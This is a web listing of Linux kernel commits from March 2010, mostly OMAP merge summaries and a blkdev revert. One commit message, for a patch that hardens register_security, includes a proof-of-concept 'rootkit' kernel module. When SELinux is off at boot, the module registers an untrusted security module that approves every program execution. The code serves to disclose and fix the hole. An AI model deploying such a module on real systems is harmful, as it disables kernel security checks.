1. 03 3月, 2010 5 次提交
    • W
      Security: Add __init to register_security to disable load a security module on runtime · c1e992b9
      wzt.wzt@gmail.com 提交于
      LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time.
      but in security/security.c:
      int register_security(struct security_operations *ops)
      {
              ...
              if (security_ops != &default_security_ops)
                      return -EAGAIN;
              ...
      }
      if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled,
      other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to
      default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust
      security module. For example:
      
      disable selinux on boot time(selinux=0).
      
      #include <linux/kernel.h>
      #include <linux/module.h>
      #include <linux/init.h>
      #include <linux/version.h>
      #include <linux/string.h>
      #include <linux/list.h>
      #include <linux/security.h>
      
      MODULE_LICENSE("GPL");
      MODULE_AUTHOR("wzt");
      
      extern int register_security(struct security_operations *ops);
      int (*new_register_security)(struct security_operations *ops);
      
      int rootkit_bprm_check_security(struct linux_binprm *bprm)
      {
              return 0;
      }
      
      struct security_operations rootkit_ops = {
                      .bprm_check_security = rootkit_bprm_check_security,
      };
      
      static int rootkit_init(void)
      {
              printk("Load LSM rootkit module.\n");
      
      	/* cat /proc/kallsyms | grep register_security */
              new_register_security = 0xc0756689;
              if (new_register_security(&rootkit_ops)) {
                      printk("Can't register rootkit module.\n");
                      return 0;
              }
              printk("Register rootkit module ok.\n");
      
              return 0;
      }
      
      static void rootkit_exit(void)
      {
              printk("Unload LSM rootkit module.\n");
      }
      
      module_init(rootkit_init);
      module_exit(rootkit_exit);
      Signed-off-by: NZhitong Wang <zhitong.wangzt@alibaba-inc.com>
      Signed-off-by: NJames Morris <jmorris@namei.org>
      c1e992b9
    • L
      Merge branch 'for-linus' of git://gitorious.org/linux-omap-dss2/linux · 3a5b27bf
      Linus Torvalds 提交于
      * 'for-linus' of git://gitorious.org/linux-omap-dss2/linux: (49 commits)
        OMAP: DSS2: Taal: Fix TE when resuming
        OMAP: DSS2: Taal: Fix ESD check
        OMAP: DSS2: OMAPFB: Constify some function parameters
        OMAP: DSS2: OMAPFB: install omapfb.h
        OMAP: DSS2: DSI: add error prints
        OMAP: DSS2: TPO-TD03MTEA1: fix function names
        OMAP: DSS2: DSI: add dsi_vc_dcs_read_2() helper
        OMAP: DSS2: OMAPFB: Remove FB_OMAP2_FORCE_AUTO_UPDATE
        OMAP: DSS2: DSI: remove external TE support
        OMAP: DSS2: move timing functions
        OMAP: DSS2: move set/get_wss()
        OMAP: DSS2: move enable/disable/suspend/resume
        OMAP: DSS2: move update() and sync()
        OMAP: DSS2: move set/get_update_mode()
        OMAP: DSS2: move enable/get_te()
        OMAP: DSS2: move get_recommended_bpp()
        OMAP: DSS2: move get_resolution()
        OMAP: DSS2: move enable/disable_channel to overlay manager
        OMAP: DSS2: move wait_vsync()
        OMAP: DSS2: move get/set_rotate()
        ...
      3a5b27bf
    • L
      Merge branch 'omap-for-linus' of... · 5057bfaf
      Linus Torvalds 提交于
      Merge branch 'omap-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap-2.6
      
      * 'omap-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap-2.6: (214 commits)
        omap2: Initialize Menelaus and MMC for N8X0
        AM3517 EVM: correct typo - tca6416 mispelt as tca6516
        AM3517 EVM: Enable I2C support
        AM35x: Enable OMAP_MUX in defconfig
        AM35x: Add missing GPIO mux config for EHCI port
        Zoom3: Defconfig update
        omap: i2c: Fix muxing for command line enabled bus
        OMAP4: clock: Remove clock hacks from timer-gp.c
        OMAP4: clock: Add dummy clock nodes for interface clocks
        OMAP4: clock: Rename leaf clock nodes to end with a _ick or _fck
        OMAP2+ clock: revise omap2_clk_{disable,enable}()
        OMAP2/3 clock: combine OMAP2 & 3 boot-time MPU rate change code
        OMAP clockdomain: if no autodeps exist, don't try to add or remove them
        OMAP hwmod: add hwmod class support
        OMAP hwmod: convert header files with static allocations into C files
        OMAP hwmod: convert hwmod to use hardware clock names rather than clkdev dev+con
        OMAP clock: add omap_clk_get_by_name() for use by OMAP hwmod core code
        OMAP3: clock: add capability to change rate of dpll4_m5_ck_3630
        OMAP4 clock: drop the ALWAYS_ENABLED clock flag
        OMAP clock: drop RATE_FIXED clock flag
        ...
      5057bfaf
    • L
      Merge branch 'for-linus' of git://git.kernel.dk/linux-2.6-block · 6c0ad5df
      Linus Torvalds 提交于
      * 'for-linus' of git://git.kernel.dk/linux-2.6-block:
        Revert "blkdev: fix merge_bvec_fn return value checks"
      6c0ad5df
    • J
      Revert "blkdev: fix merge_bvec_fn return value checks" · 9599945b
      Jens Axboe 提交于
      This reverts commit 9f7cdbc3.
      
      It's causing oopses om dm setups, so revert it until we investigate.
      Reported-by: NDmitry Torokhov <dmitry.torokhov@gmail.com>
      Tested-by: NSteven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NJens Axboe <jens.axboe@oracle.com>
      9599945b
  2. 02 3月, 2010 35 次提交